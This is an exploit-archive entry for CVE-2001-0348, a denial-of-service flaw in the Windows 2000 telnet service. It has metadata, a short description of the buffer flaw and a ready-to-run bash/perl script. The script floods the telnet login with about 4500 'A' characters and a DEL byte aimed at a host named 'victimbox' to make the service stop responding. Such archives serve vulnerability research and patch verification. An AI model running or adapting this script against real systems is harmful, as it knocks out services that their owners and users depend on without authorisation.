Microsoft Windows Server 2000 - Telnet 'Username' Denial of Service

Author: Michal Zalewski
type: dos
platform: windows
port: 
date_added: 2001-06-07
date_updated: 2012-08-29
verified: 1
codes: CVE-2001-0348;OSVDB-1858
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/2838/info

Due to a flaw in the implementation of the telnet service, it is possible for a remote client to perform a denial of service attack against a host.

If approximately 4300 characters already exist in the input buffer and additional numerous specially chosen characters are provided, the service will stop responding.

#!/bin/bash
  ( sleep 1
    perl -e '{printf "%s\x7f%s","A"x4500,"A"x100}'
    sleep 3
  ) | telnet victimbox
  - eof -